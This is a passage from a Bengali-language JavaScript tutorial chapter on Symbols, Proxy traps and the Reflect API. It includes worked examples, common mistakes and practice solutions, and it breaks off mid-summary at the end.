5️⃣ yield → value দেয় + execution pause করে
📌 সবচেয়ে গুরুত্বপূর্ণ Relationship:
for...of  →  Iterable  →  Iterator  →  next()
এটা বুঝে ফেললে Chapter 27-এর মূল concept তোমার পরিষ্কার হয়ে যাবে।
Chapter 28
↑ Index
Symbols, Proxy & Reflect — সিম্বল, প্রক্সি ও রিফ্লেক্ট
Total Modules
56 Modules + Practice Lab
Curriculum Part
Part 22 — JavaScript Metaprogramming
Core Mechanics
Symbol, Proxy Handlers & Reflect API
Reference Standard
ECMAScript 2026 / Modern V8 Internals
🎯 JavaScript Metaprogramming — Symbols, Proxy & Reflect শেখার মূল উদ্দেশ্য

JavaScript-এ অবজেক্টের স্বাভাবিক আচরণ পরিবর্তন, অপারেশন ইন্টারসেপ্ট ও কাস্টম লজিক যুক্ত করার আর্কিটেকচারাল মেকানিজমের নাম হলো Metaprogramming। এই চ্যাপ্টারে আমরা Unique Symbol Keys, Global Symbol Registry, Proxy Handler Traps (get, set, has, deleteProperty), Reflect API এবং রিঅ্যাক্টিভ ফ্রেমওয়ার্ক আর্কিটেকচার নিখুঁতভাবে শিখব।

📌 1. Primitive Symbol
📌 2. Unique Property Keys
📌 3. Symbol.for() Registry
📌 4. Symbol.keyFor()
📌 5. Well-Known Symbols
📌 6. Symbol.iterator
📌 7. Symbol.toPrimitive
📌 8. Proxy Target & Handler
📌 9. get & set Traps
📌 10. Schema Validation
📌 11. has & deleteProperty
📌 12. apply & construct
📌 13. Proxy.revocable
📌 14. Reflect Static API
📌 15. Reflect.get/set
📌 16. Reflect.ownKeys
📌 17. Proxy + Reflect Pair
📌 18. Read-Only Objects
📌 19. Access Control System
📌 20. Vue Reactivity Engine
📌 21. 5 Common Traps
📌 22. 9 Practice Challenges
Part 01 — Symbols & Unique Property Keys (28.1 – 28.12)
28.1 Symbol কী?

Symbol হলো JavaScript-এর একটি primitive data type। JavaScript-এর primitive types:

▶ CONSOLE OUTPUTOutput
String
Number
BigInt
Boolean
Undefined
Null
Symbol

Symbol তৈরি করা যায়:

JavaScript SourceJavaScript
const id = Symbol();
28.2 Symbol কেন দরকার?

ধরো দুটি property একই নামের:

JavaScript SourceJavaScript
const user = {
    id: 101
};

user.id = 202;

আগের value replace হয়ে যাবে। কিন্তু Symbol ব্যবহার করলে unique key তৈরি করা যায়।

JavaScript SourceJavaScript
const id1 = Symbol();
const id2 = Symbol();

console.log(id1 === id2);

Output:

▶ CONSOLE OUTPUTOutput
false

প্রতিটি Symbol সাধারণত unique।

28.3 Symbol-এর Real-Life Idea

ধরো একটি বড় application-এ অনেক developer কাজ করছে। একজন লিখল:

JavaScript SourceJavaScript
user.status

আরেকজনও লিখল:

JavaScript SourceJavaScript
user.status

Property collision হতে পারে। Symbol:

JavaScript SourceJavaScript
const internalStatus = Symbol();

user[internalStatus] = "active";

এতে একটি unique key তৈরি হলো।

28.4 Symbol-এর Type
JavaScript SourceJavaScript
const id = Symbol();

console.log(typeof id);

Output:

▶ CONSOLE OUTPUTOutput
symbol
28.5 Symbol Description

Symbol তৈরি করার সময় description দেওয়া যায়।

JavaScript SourceJavaScript
const id = Symbol("userId");

console.log(id);

Output:

▶ CONSOLE OUTPUTOutput
Symbol(userId)

Description মূলত debugging-এর জন্য helpful।

28.6 Description Access
JavaScript SourceJavaScript
const id = Symbol("userId");

console.log(id.description);

Output:

▶ CONSOLE OUTPUTOutput
userId
28.7 Symbol Always Unique
JavaScript SourceJavaScript
const a = Symbol("id");
const b = Symbol("id");

console.log(a === b);

Output:

▶ CONSOLE OUTPUTOutput
false

যদিও description একই:

▶ CONSOLE OUTPUTOutput
id

তবুও Symbol দুটো আলাদা।

28.8 Symbol as Object Property
JavaScript SourceJavaScript
const userId = Symbol("userId");

const user = {
    name: "Shariar",
    [userId]: 101
};

console.log(user.name);
console.log(user[userId]);

Output:

▶ CONSOLE OUTPUTOutput
Shariar
101

খেয়াল করো:

JavaScript SourceJavaScript
[userId]

computed property syntax ব্যবহার করা হয়েছে।

28.9 Dot Notation দিয়ে Symbol Access করা যায় না

এটা ভুল:

JavaScript SourceJavaScript
user.userId

কারণ userId এখানে Symbol variable নয়। সঠিক:

JavaScript SourceJavaScript
user[userId]
28.10 Symbol Property কি Hidden?

Symbol property private নয়। এটা খুব গুরুত্বপূর্ণ।

JavaScript SourceJavaScript
const secret = Symbol("secret");

const user = {
    name: "Shariar",
    [secret]: "Hello"
};

Object.keys() করলে:

JavaScript SourceJavaScript
console.log(Object.keys(user));

Output:

▶ CONSOLE OUTPUTOutput
["name"]

Symbol key এখানে আসে না। কিন্তু:

JavaScript SourceJavaScript
console.log(Object.getOwnPropertySymbols(user));

Output:

▶ CONSOLE OUTPUTOutput
[Symbol(secret)]

অর্থাৎ: > Symbol property hidden from some normal enumeration, কিন্তু private/security mechanism নয়।

28.11 Reflect.ownKeys()

String এবং Symbol—দুই ধরনের own keys পেতে:

JavaScript SourceJavaScript
const id = Symbol("id");

const user = {
    name: "Shariar",
    [id]: 101
};

console.log(Reflect.ownKeys(user));

Output-এর ধারণা:

▶ CONSOLE OUTPUTOutput
["name", Symbol(id)]
28.12 Symbol বনাম String Key
String KeySymbol Key
"id"Symbol("id")
collision হতে পারেunique
Object.keys()-এ আসেObject.keys()-এ আসে না
সাধারণ propertyspecial property key
সাধারণভাবে enumerableSymbol property-ও enumerable হতে পারে, কিন্তু Object.keys-এ আসে না
Part 02 — Global Symbol Registry & Well-Known Symbols (28.13 – 28.21)
28.13 Symbol.for()

এখন একটি গুরুত্বপূর্ণ বিষয়।

JavaScript SourceJavaScript
const a = Symbol("user");
const b = Symbol("user");

console.log(a === b);

Output:

▶ CONSOLE OUTPUTOutput
false

কিন্তু:

JavaScript SourceJavaScript
const a = Symbol.for("user");
const b = Symbol.for("user");

console.log(a === b);

Output:

▶ CONSOLE OUTPUTOutput
true

কারণ Symbol.for() Global Symbol Registry ব্যবহার করে।

28.14 Symbol.for() কীভাবে কাজ করে?
JavaScript SourceJavaScript
Symbol.for("app.user")

প্রথমবার তৈরি হলে registry-তে রাখে। আবার:

JavaScript SourceJavaScript
Symbol.for("app.user")

করলে একই Symbol পাওয়া যায়। Mental model:

🧭 Architecture / Concept Flow
Symbol("user")
   ↓
নতুন unique Symbol

Symbol.for("user")
   ↓
Global Registry
   ↓
একই key হলে একই Symbol
28.15 Symbol.keyFor()

Symbol.for() দিয়ে তৈরি Symbol-এর key বের করতে:

JavaScript SourceJavaScript
const userSymbol = Symbol.for("user");

console.log(Symbol.keyFor(userSymbol));

Output:

▶ CONSOLE OUTPUTOutput
user
28.16 Symbol.for() বনাম Symbol()
Symbol()Symbol.for()
নতুন Symbol তৈরি করেRegistry থেকে Symbol নেয়
প্রতিবার uniqueএকই key → একই Symbol
Global registry নয়Global Symbol Registry
Symbol.keyFor() কাজ করে নাSymbol.keyFor() কাজ করে
28.17 Well-Known Symbols

JavaScript কিছু built-in Symbol দিয়েছে যেগুলো language behavior customize করতে সাহায্য করে। Examples:

▶ CONSOLE OUTPUTOutput
Symbol.iterator
Symbol.toStringTag
Symbol.toPrimitive
Symbol.toStringTag
Symbol.hasInstance
Symbol.asyncIterator
Symbol.species
Symbol.isConcatSpreadable

সবচেয়ে গুরুত্বপূর্ণ কয়েকটি আমরা দেখব।

28.18 Symbol.iterator

Chapter 27-এ আমরা এটা দেখেছি। এটি কোনো object-এর iteration behavior define করতে পারে।

JavaScript SourceJavaScript
const numbers = {

    *[Symbol.iterator]() {

        yield 10;
        yield 20;
        yield 30;

    }

};

for (const number of numbers) {
    console.log(number);
}

Output:

▶ CONSOLE OUTPUTOutput
10
20
30

এখানে:

JavaScript SourceJavaScript
Symbol.iterator

object-টাকে iterable করেছে।

28.19 Symbol.toStringTag

Object-এর Object.prototype.toString() result customize করা যায়।

JavaScript SourceJavaScript
const user = {

    [Symbol.toStringTag]: "User"

};

console.log(Object.prototype.toString.call(user));

Output:

▶ CONSOLE OUTPUTOutput
[object User]
28.20 Symbol.toPrimitive

Object primitive value-তে convert হওয়ার সময় behavior customize করা যায়।

JavaScript SourceJavaScript
const money = {

    value: 100,

    [Symbol.toPrimitive](hint) {

        if (hint === "number") {
            return this.value;
        }

        return `$${this.value}`;
    }
};

console.log(+money);
console.log(`${money}`);

Output:

▶ CONSOLE OUTPUTOutput
100
$100

এটি advanced metaprogramming-এর example।

28.21 Symbol.hasInstance

instanceof behavior customize করা যায়।

JavaScript SourceJavaScript
class EvenNumber {

    static [Symbol.hasInstance](value) {

        return typeof value === "number" && value % 2 === 0;

    }

}

console.log(2 instanceof EvenNumber);
console.log(3 instanceof EvenNumber);

Output:

▶ CONSOLE OUTPUTOutput
true
false

এখানে instanceof-এর behavior custom করা হয়েছে।

🔥 Symbol-এর সবচেয়ে গুরুত্বপূর্ণ ব্যবহার

Practical JavaScript-এ তোমার জন্য সবচেয়ে গুরুত্বপূর্ণ:

▶ CONSOLE OUTPUTOutput
1. Unique property keys
2. Avoid property collisions
3. Symbol.iterator
4. Well-known Symbols
5. Metaprogramming
Part 03 — Proxy Fundamentals & Core Traps (28.22 – 28.36)
28.22 এখন আসি Proxy-তে

Proxy হলো JavaScript-এর একটি powerful feature যেটা কোনো object-এর operations intercept এবং customize করতে পারে। সহজ ভাষায়: > Proxy হলো object-এর সামনে একটি "middle layer"। Mental model:

🧭 Architecture / Concept Flow
Code
  ↓
Proxy
  ↓
Target Object
28.23 Basic Proxy
JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

const proxy = new Proxy(user, {});

console.log(proxy.name);

Output:

▶ CONSOLE OUTPUTOutput
Shariar

এখানে:

▶ CONSOLE OUTPUTOutput
user = target
proxy = wrapper
28.24 Proxy Handler

Proxy তৈরি:

JavaScript SourceJavaScript
new Proxy(target, handler)

Example:

JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

const handler = {

    get(target, property) {

        console.log(`Reading: ${property}`);

        return target[property];
    }

};

const proxy = new Proxy(user, handler);

console.log(proxy.name);

Output:

▶ CONSOLE OUTPUTOutput
Reading: name
Shariar
28.25 get Trap

get trap property access intercept করে।

JavaScript SourceJavaScript
const user = {
    name: "Shariar",
    age: 23
};

const proxy = new Proxy(user, {

    get(target, property) {

        console.log("Accessing:", property);

        return target[property];
    }

});

console.log(proxy.name);
console.log(proxy.age);

Output:

▶ CONSOLE OUTPUTOutput
Accessing: name
Shariar

Accessing: age
23
28.26 set Trap

Property set করার সময় intercept করা যায়।

JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

const proxy = new Proxy(user, {

    set(target, property, value) {

        console.log(`Setting ${property} = ${value}`);

        target[property] = value;

        return true;
    }

});

proxy.name = "Ripon";

Output:

▶ CONSOLE OUTPUTOutput
Setting name = Ripon
28.27 Proxy দিয়ে Validation

এটি খুব practical।

JavaScript SourceJavaScript
const user = {

    name: "Shariar",
    age: 23

};

const proxy = new Proxy(user, {

    set(target, property, value) {

        if (property === "age") {

            if (typeof value !== "number") {
                throw new TypeError("Age must be a number");
            }

            if (value < 0) {
                throw new RangeError("Age cannot be negative");
            }
        }

        target[property] = value;

        return true;
    }

});

proxy.age = 25;

console.log(proxy.age);

Output:

▶ CONSOLE OUTPUTOutput
25

কিন্তু:

JavaScript SourceJavaScript
proxy.age = -10;

Error:

▶ CONSOLE OUTPUTOutput
RangeError: Age cannot be negative
28.28 has Trap

in operator intercept করা যায়।

JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

const proxy = new Proxy(user, {

    has(target, property) {

        console.log(`Checking: ${property}`);

        return property in target;
    }

});

console.log("name" in proxy);

Output:

▶ CONSOLE OUTPUTOutput
Checking: name
true
28.29 deleteProperty Trap

delete operation intercept করা যায়।

JavaScript SourceJavaScript
const user = {
    name: "Shariar",
    age: 23
};

const proxy = new Proxy(user, {

    deleteProperty(target, property) {

        console.log(`Deleting: ${property}`);

        return delete target[property];
    }

});

delete proxy.age;

console.log(user);
28.30 ownKeys Trap

Object.keys()/reflection-related key retrieval customize করা যায়।

JavaScript SourceJavaScript
const user = {
    name: "Shariar",
    age: 23
};

const proxy = new Proxy(user, {

    ownKeys(target) {

        return ["name"];
    }

});

console.log(Object.keys(proxy));

Output:

▶ CONSOLE OUTPUTOutput
["name"]

এখানে age hide করা হয়েছে enumeration থেকে।

28.31 Proxy Logging System

Proxy দিয়ে property access log করা যায়।

JavaScript SourceJavaScript
const user = {
    name: "Shariar",
    age: 23,
    city: "Dhaka"
};

const loggedUser = new Proxy(user, {

    get(target, property) {

        console.log(
            `GET → ${String(property)}`
        );

        return target[property];
    },

    set(target, property, value) {

        console.log(
            `SET → ${String(property)} = ${value}`
        );

        target[property] = value;

        return true;
    }

});

console.log(loggedUser.name);

loggedUser.age = 24;

এটি debugging বা development tooling-এ useful হতে পারে।

28.32 apply Trap

Proxy শুধু object-এর property operation intercept করে না। Function-এর invocation-ও intercept করতে পারে।

JavaScript SourceJavaScript
function greet(name) {
    return `Hello ${name}`;
}

const proxy = new Proxy(greet, {

    apply(target, thisArg, args) {

        console.log("Function called");

        return target(...args);
    }

});

console.log(proxy("Shariar"));

Output:

▶ CONSOLE OUTPUTOutput
Function called
Hello Shariar
28.33 construct Trap

new operation intercept করা যায়।

JavaScript SourceJavaScript
class User {

    constructor(name) {
        this.name = name;
    }

}

const ProxyUser = new Proxy(User, {

    construct(target, args) {

        console.log("Creating User");

        return new target(...args);
    }

});

const user = new ProxyUser("Shariar");

Output:

▶ CONSOLE OUTPUTOutput
Creating User
28.34 Proxy Trap Summary

সব trap মুখস্থ করার দরকার নেই। Important:

TrapIntercepts
getproperty read
setproperty write
hasin
deletePropertydelete
ownKeyskeys
applyfunction call
constructnew
28.35 Proxy + Private Fields

এখানে একটি গুরুত্বপূর্ণ limitation আছে। Private class fields:

JavaScript SourceJavaScript
#password

Proxy দিয়ে সাধারণ property-এর মতো intercept করা যায় না।

JavaScript SourceJavaScript
class User {

    #password = "12345";

}

Private field-এর access language-level private mechanism দ্বারা controlled। তাই Proxy-কে security boundary হিসেবে ব্যবহার করা উচিত নয়।

28.36 Proxy Revocable

একটি Proxy temporarily disable/revoke করা যায়।

JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

const { proxy, revoke } = Proxy.revocable(user, {});

console.log(proxy.name);

revoke();

console.log(proxy.name);

শেষ access-এর সময় error হবে।

Part 04 — Reflect API & Metaprogramming (28.37 – 28.45)
28.37 এখন আসি Reflect-এ

Reflect হলো JavaScript-এর built-in object যেটা অনেক object operation-এর standard methods দেয়। Examples:

JavaScript SourceJavaScript
Reflect.get()
Reflect.set()
Reflect.has()
Reflect.deleteProperty()
Reflect.ownKeys()
Reflect.construct()
Reflect.apply()
28.38 Reflect.get()

সাধারণ:

JavaScript SourceJavaScript
user.name

Reflect:

JavaScript SourceJavaScript
Reflect.get(user, "name");

Example:

JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

console.log(
    Reflect.get(user, "name")
);

Output:

▶ CONSOLE OUTPUTOutput
Shariar
28.39 Reflect.set()
JavaScript SourceJavaScript
const user = {};

Reflect.set(user, "name", "Shariar");

console.log(user.name);

Output:

▶ CONSOLE OUTPUTOutput
Shariar
28.40 Reflect.has()
JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

console.log(
    Reflect.has(user, "name")
);

Output:

▶ CONSOLE OUTPUTOutput
true

এটি conceptually:

JavaScript SourceJavaScript
"name" in user

এর মতো।

28.41 Reflect.deleteProperty()
JavaScript SourceJavaScript
const user = {
    name: "Shariar",
    age: 23
};

Reflect.deleteProperty(user, "age");

console.log(user);
28.42 Reflect.ownKeys()

String + Symbol keys:

JavaScript SourceJavaScript
const id = Symbol("id");

const user = {
    name: "Shariar",
    [id]: 101
};

console.log(
    Reflect.ownKeys(user)
);

এটি দুই ধরনের key দিতে পারে:

▶ CONSOLE OUTPUTOutput
"name"
Symbol(id)
28.43 Reflect কেন Proxy-এর সাথে বেশি দেখা যায়?

এটি খুব গুরুত্বপূর্ণ। Proxy handler-এ manually:

JavaScript SourceJavaScript
target[property] = value;

করার পরিবর্তে:

JavaScript SourceJavaScript
Reflect.set(target, property, value);

ব্যবহার করা অনেক ক্ষেত্রে safer এবং cleaner।

28.44 Proxy + Reflect

Recommended pattern:

JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

const proxy = new Proxy(user, {

    get(target, property, receiver) {

        console.log(`GET: ${String(property)}`);

        return Reflect.get(
            target,
            property,
            receiver
        );
    },

    set(target, property, value, receiver) {

        console.log(
            `SET: ${String(property)} = ${value}`
        );

        return Reflect.set(
            target,
            property,
            value,
            receiver
        );
    }

});

console.log(proxy.name);

proxy.name = "Ripon";
🧠 Proxy + Reflect Mental Model
🧭 Architecture / Concept Flow
Code
 ↓
Proxy
 ↓
Trap
 ↓
Reflect
 ↓
Target Object

অর্থাৎ:

🧭 Architecture / Concept Flow
Proxy = intercept
Reflect = perform standard operation
28.45 Metaprogramming কী?

Metaprogramming মানে এমন code লেখা যা program-এর behavior/structure-এর ওপর কাজ করতে পারে বা customize করতে পারে। JavaScript-এ:

🧭 Architecture / Concept Flow
Proxy
Reflect
Symbols
Property Descriptors

এসব metaprogramming-এর tools।

Part 05 — Production Architectures, Reactivity & Common Mistakes (28.46 – 28.55)
28.46 Real-Life Example: Read-Only Object

Proxy দিয়ে property পরিবর্তন block করা যায়।

JavaScript SourceJavaScript
const settings = {

    theme: "dark",
    language: "en"

};

const readOnlySettings = new Proxy(settings, {

    set() {

        throw new Error(
            "Settings are read-only"
        );

    }

});

console.log(readOnlySettings.theme);

readOnlySettings.theme = "light";

শেষ line-এ error হবে।

28.47 Real-Life Example: Access Control
JavaScript SourceJavaScript
const user = {

    name: "Shariar",
    role: "user",
    salary: 50000

};

const safeUser = new Proxy(user, {

    get(target, property) {

        if (property === "salary") {

            if (target.role !== "admin") {
                return "Access denied";
            }

        }

        return Reflect.get(target, property);
    }

});

console.log(safeUser.name);
console.log(safeUser.salary);

Output:

▶ CONSOLE OUTPUTOutput
Shariar
Access denied

⚠️ এটি demonstration। Real application security-এর জন্য server-side authorization অবশ্যই প্রয়োজন।

28.48 Reactive Systems-এর সাথে Connection

Proxy modern frontend architecture-এর কিছু concept বুঝতে সাহায্য করে। ধরো:

JavaScript SourceJavaScript
const state = {
    count: 0
};

Proxy দিয়ে change detect:

JavaScript SourceJavaScript
const reactiveState = new Proxy(state, {

    set(target, property, value) {

        console.log(
            `${property} changed`
        );

        return Reflect.set(
            target,
            property,
            value
        );
    }

});

reactiveState.count = 1;

Output:

▶ CONSOLE OUTPUTOutput
count changed

এই ধরনের concept reactive systems/framework internals বোঝার ক্ষেত্রে গুরুত্বপূর্ণ।

28.49 Symbol + Proxy একসাথে

Symbol দিয়ে internal-like metadata রাখা যায়:

JavaScript SourceJavaScript
const metadata = Symbol("metadata");

const user = {

    name: "Shariar",

    [metadata]: {
        createdBy: "system"
    }

};

const proxy = new Proxy(user, {

    get(target, property) {

        if (property === metadata) {
            return Reflect.get(target, property);
        }

        return Reflect.get(target, property);
    }

});

এখানে Symbol unique key হিসেবে কাজ করছে।

28.50 Proxy Performance Consideration

Proxy powerful হলেও সব জায়গায় ব্যবহার করা উচিত নয়। কারণ proxy layer:

🧭 Architecture / Concept Flow
property access
     ↓
trap
     ↓
target

অতিরিক্ত abstraction তৈরি করতে পারে। তাই performance-sensitive code-এ অপ্রয়োজনীয় Proxy ব্যবহার avoid করা ভালো।

28.51 Common Mistake: Symbol-কে Private ভাবা

ভুল ধারণা: > Symbol মানেই private property। ❌ না। Symbol property discover করা যায়:

JavaScript SourceJavaScript
Object.getOwnPropertySymbols(obj)

অথবা:

JavaScript SourceJavaScript
Reflect.ownKeys(obj)

তাই Symbol: > Unique property key, security/privacy mechanism নয়।

28.52 Common Mistake: Symbol("id") একই হবে ভাবা
JavaScript SourceJavaScript
const a = Symbol("id");
const b = Symbol("id");

console.log(a === b);

Output:

▶ CONSOLE OUTPUTOutput
false

একই description ≠ same Symbol।

28.53 Common Mistake: Proxy Target Automatically Protected

Proxy বানালেই original object protected হয় না।

JavaScript SourceJavaScript
const user = {
    name: "Shariar"
};

const proxy = new Proxy(user, {});

user.name = "Ripon";

Original target সরাসরি পরিবর্তন করা সম্ভব।

28.54 Common Mistake: set Trap-এ Boolean Return

set trap-এর ক্ষেত্রে সাধারণত success indicate করতে boolean return করতে হয়।

JavaScript SourceJavaScript
set(target, property, value) {

    target[property] = value;

    return true;
}
28.55 Common Mistake: Proxy-কে Security Boundary ভাবা

Proxy দিয়ে:

JavaScript SourceJavaScript
salary access block
password property hide

করলেও client-side JavaScript-এর ওপর security নির্ভর করা উচিত নয়। Real security:

🧭 Architecture / Concept Flow
Frontend
   ↓
Backend Authorization
   ↓
Database
Part 06 — Production Mastery, Practice Lab & Mental Map (28.56 – 28.59)
28.56 MUST KNOW
🔹 Symbol
JavaScript SourceJavaScript
const id = Symbol("id");
🔹 Symbol Property
JavaScript SourceJavaScript
obj[id] = 100;
🔹 Global Symbol
JavaScript SourceJavaScript
Symbol.for("id");
🔹 Well-known Symbol
JavaScript SourceJavaScript
Symbol.iterator
🔹 Proxy
JavaScript SourceJavaScript
new Proxy(target, handler);
🔹 Get trap
JavaScript SourceJavaScript
get(target, property)
🔹 Set trap
JavaScript SourceJavaScript
set(target, property, value)
🔹 Reflect
JavaScript SourceJavaScript
Reflect.get()
Reflect.set()
Reflect.has()
Reflect.deleteProperty()
Reflect.ownKeys()
🔹 Most important relationship
🧭 Architecture / Concept Flow
Proxy → intercept
Reflect → perform operation
Symbol → customize/identify
28.Cheat 🧠 Quick Cheat Sheet — Symbol, Proxy & Reflect Matrix

Metaprogramming-এর ৩টি মূল স্তম্ভের সংক্ষিপ্ত ব্যবহারিক সিনট্যাক্স সামারি:

1. Symbol Syntax
Symbol ReferenceJavaScript
const s = Symbol("desc");
const g = Symbol.for("app.id");
Symbol.keyFor(g); // 'app.id'
obj[Symbol.iterator] = ...;
2. Proxy Syntax
Proxy PatternJavaScript
const proxy = new Proxy(target, {
  get(target, prop, receiver) {
    return Reflect.get(...arguments);
  },
  set(target, prop, val, receiver) {
    return Reflect.set(...arguments);
  }
});
3. Reflect Syntax
Reflect MethodsJavaScript
Reflect.get(target, prop);
Reflect.set(target, prop, val);
Reflect.has(target, prop);
Reflect.deleteProperty(target, p);
Reflect.ownKeys(target);
28.Lab 📝 Hands-On Practice Lab — 9 Production Metaprogramming Challenges

Symbol, Proxy Traps এবং Reflect API সম্পূর্ণ আয়ত্তে আনতে নিচে ৩টি লেভেলের ৯টি প্র্যাকটিক্যাল চ্যালেঞ্জের সম্পূর্ণ মডেল সলিউশন দেওয়া হলো:

Practice 1: Symbol as Object Property Key Beginner

Problem Requirement: একটি userId সিম্বল তৈরি করো এবং অবজেক্টের প্রোপার্টি হিসেবে ব্যবহার করে তা কনসোলে অ্যাক্সেস করো।

Practice 1 Model Solution✅ Standard Pattern
const userId = Symbol("userId");

const user = {
    name: "Ripon",
    [userId]: 1001
};

console.log("Name:", user.name);
console.log("Symbol ID:", user[userId]);
console.log("Object Keys:", Object.keys(user)); // Symbol excluded
▶ CONSOLE OUTPUTOutput
Name: Ripon
Symbol ID: 1001
Object Keys: ['name']
Practice 2: Symbol Uniqueness Verification Beginner

Problem Requirement: একই বিবরণ (description) দিয়ে দুটি পৃথক Symbol('id') তৈরি করে প্রমাণ করো যে তারা কখনো সমান হয় না।

Practice 2 Model Solution✅ Standard Pattern
const id1 = Symbol("id");
const id2 = Symbol("id");

console.log("id1 === id2:", id1 === id2);
console.log("id1 description:", id1.description);
console.log("id2 description:", id2.description);
▶ CONSOLE OUTPUTOutput
id1 === id2: false
id1 description: id
id2 description: id
Practice 3: Global Symbol Registry with Symbol.for() Beginner

Problem Requirement: Symbol.for('app.user') দিয়ে একটি গ্লোবাল সিম্বল তৈরি করে Symbol.keyFor() দিয়ে তার রেজিস্ট্রি কি রিট্রিভ করো।

Practice 3 Model Solution✅ Standard Pattern
const globalSym1 = Symbol.for("app.user");
const globalSym2 = Symbol.for("app.user");

console.log("Global Symbols Same?", globalSym1 === globalSym2);
console.log("Registry Key:", Symbol.keyFor(globalSym1));
▶ CONSOLE OUTPUTOutput
Global Symbols Same? true
Registry Key: app.user
Practice 4: Custom Iterable with Symbol.iterator Intermediate

Problem Requirement: একটি অবজেক্ট তৈরি করো যাতে [Symbol.iterator] মেথড ইমপ্লিমেন্ট করে সরাসরি for...of দিয়ে উপাদান পাওয়া যায়।

Practice 4 Model Solution✅ Standard Pattern
const collection = {
    items: ["JavaScript", "TypeScript", "Node.js"],
    *[Symbol.iterator]() {
        for (const item of this.items) {
            yield item;
        }
    }
};

for (const tech of collection) {
    console.log(tech);
}
▶ CONSOLE OUTPUTOutput
JavaScript
TypeScript
Node.js
Practice 5: Proxy Age Validation Intermediate

Problem Requirement: একটি প্রক্সি তৈরি করো যা age প্রোপার্টিতে শুধু পজিটিভ সংখ্যা লিখতে দেবে, অন্যথায় TypeError থ্রো করবে।

Practice 5 Model Solution✅ Standard Pattern
const person = {};

const validator = new Proxy(person, {
    set(target, prop, value) {
        if (prop === "age") {
            if (typeof value !== "number" || value < 0) {
                throw new TypeError("Age must be a positive number!");
            }
        }
        target[prop] = value;
        return true;
    }
});

validator.age = 25;
console.log("Valid Age:", validator.age);
// validator.age = -5; // Throws TypeError
▶ CONSOLE OUTPUTOutput
Valid Age: 25
Practice 6: Proxy Property Access Logger Intermediate

Problem Requirement: একটি প্রক্সি তৈরি করো যা প্রতিটি প্রোপার্টি পড়া (GET) এবং লেখার (SET) সময় কনসোলে স্বয়ংক্রিয়ভাবে লগ তৈরি করবে।

Practice 6 Model Solution✅ Standard Pattern
const user = { name: "Ripon" };

const loggedUser = new Proxy(user, {
    get(target, prop) {
        console.log(`GET → ${String(prop)}`);
        return Reflect.get(target, prop);
    },
    set(target, prop, value) {
        console.log(`SET → ${String(prop)} = ${value}`);
        return Reflect.set(target, prop, value);
    }
});

const currentName = loggedUser.name;
loggedUser.age = 28;
▶ CONSOLE OUTPUTOutput
GET → name
SET → age = 28
Practice 7: Read-Only Object Proxy with Reflect Advanced

Problem Requirement: একটি createReadOnly(target) হেল্পার বানাও যা অবজেক্টের কোনো প্রোপার্টি পরিবর্তন বা ডিলিট করতে দেবে না।

Practice 7 Model Solution✅ Standard Pattern
function createReadOnly(target) {
    return new Proxy(target, {
        set(t, prop) {
            console.warn(`Cannot set '${String(prop)}': Object is read-only!`);
            return false;
        },
        deleteProperty(t, prop) {
            console.warn(`Cannot delete '${String(prop)}': Object is read-only!`);
            return false;
        }
    });
}

const config = createReadOnly({ apiEndpoint: "https://api.example.com" });
config.apiEndpoint = "https://hacked.com"; // Warning logged
console.log("Safe Config:", config.apiEndpoint);
▶ CONSOLE OUTPUTOutput
Cannot set 'apiEndpoint': Object is read-only!
Safe Config: https://api.example.com
Practice 8: Role-Based Access Control (RBAC) Proxy Advanced

Problem Requirement: এমন একটি প্রক্সি তৈরি করো যেখানে user রোল শুধু name এবং admin রোল salary দেখতে পারবে।

Practice 8 Model Solution✅ Standard Pattern
function createSecureAccount(data, role) {
    return new Proxy(data, {
        get(target, prop) {
            if (prop === "salary" && role !== "admin") {
                return "⛔ Access Denied: Admin role required";
            }
            return Reflect.get(target, prop);
        }
    });
}

const employee = { name: "Anisur Rahman", salary: 85000 };
const userView = createSecureAccount(employee, "user");
const adminView = createSecureAccount(employee, "admin");

console.log("User views name:", userView.name);
console.log("User views salary:", userView.salary);
console.log("Admin views salary:", adminView.salary);
▶ CONSOLE OUTPUTOutput
User views name: Anisur Rahman
User views salary: ⛔ Access Denied: Admin role required
Admin views salary: 85000
Practice 9: Integrated Metaprogramming Architecture Advanced

Problem Requirement: একটি কাস্টম ক্লাস তৈরি করো যাতে Symbol.iterator, Proxy এবং Reflect তিনটি কনসেপ্ট একসাথে যুক্ত থাকবে।

Practice 9 Model Solution✅ Standard Pattern
class ObservableStore {
    constructor(initialData = {}) {
        this.data = initialData;

        // Wrap internal data in proxy using Reflect
        return new Proxy(this, {
            set(target, prop, value) {
                console.log(`[Store Event] Mutated '${String(prop)}' to:`, value);
                return Reflect.set(target, prop, value);
            }
        });
    }

    *[Symbol.iterator]() {
        for (const [key, val] of Object.entries(this.data)) {
            yield { key, val };
        }
    }
}

const store = new ObservableStore({ theme: "dark", lang: "bn" });
store.version = "1.0.0";

for (const entry of store) {
    console.log(`Iterated: ${entry.key} = ${entry.val}`);
}
▶ CONSOLE OUTPUTOutput
[Store Event] Mutated 'version' to: 1.0.0
Iterated: theme = dark
Iterated: lang = bn
28.Map 🎯 Final Mental Map & Metaprogramming Architecture

JavaScript Metaprogramming-এর ৩টি স্তম্ভ—Symbol, Proxy ও Reflect-এর সমন্বিত আর্কিটেকচার ম্যাপ:

🧭 Metaprogramming Architecture Tree (Symbol, Proxy, Reflect)
JavaScript Metaprogramming
                              │
             ┌────────────────┼────────────────┐
             │                │                │
          Symbol            Proxy           Reflect
             │                │                │
       Unique Keys       Intercept Ops     Object Ops
             │                │                │
      ┌──────┴──────┐   ┌─────┴──────┐    ┌───┴────┐
      │             │   │            │    │        │
Symbol.iterator   Symbol.for   get/set   apply   get/set
      │                         │
      ↓                         ↓
   Iterable                  Validation
                            Logging
                            Access Control
                            Reactivity
⭐ এক নজরে ৩টি প্রধান স্তম্ভের ভূমিকা
1️⃣ Symbol
“আমার একটি অনন্য (Unique) কী বা অন্তর্নিহিত স্পেশাল প্রটোকল বিহেভিয়ার দরকার।”
2️⃣ Proxy
“কেউ অবজেক্টের সাথে কী অপারেশন করছে (get, set, has), তা ইন্টারসেপ্ট করে কাস্টম লজিক চালাতে চাই।”
3️⃣ Reflect
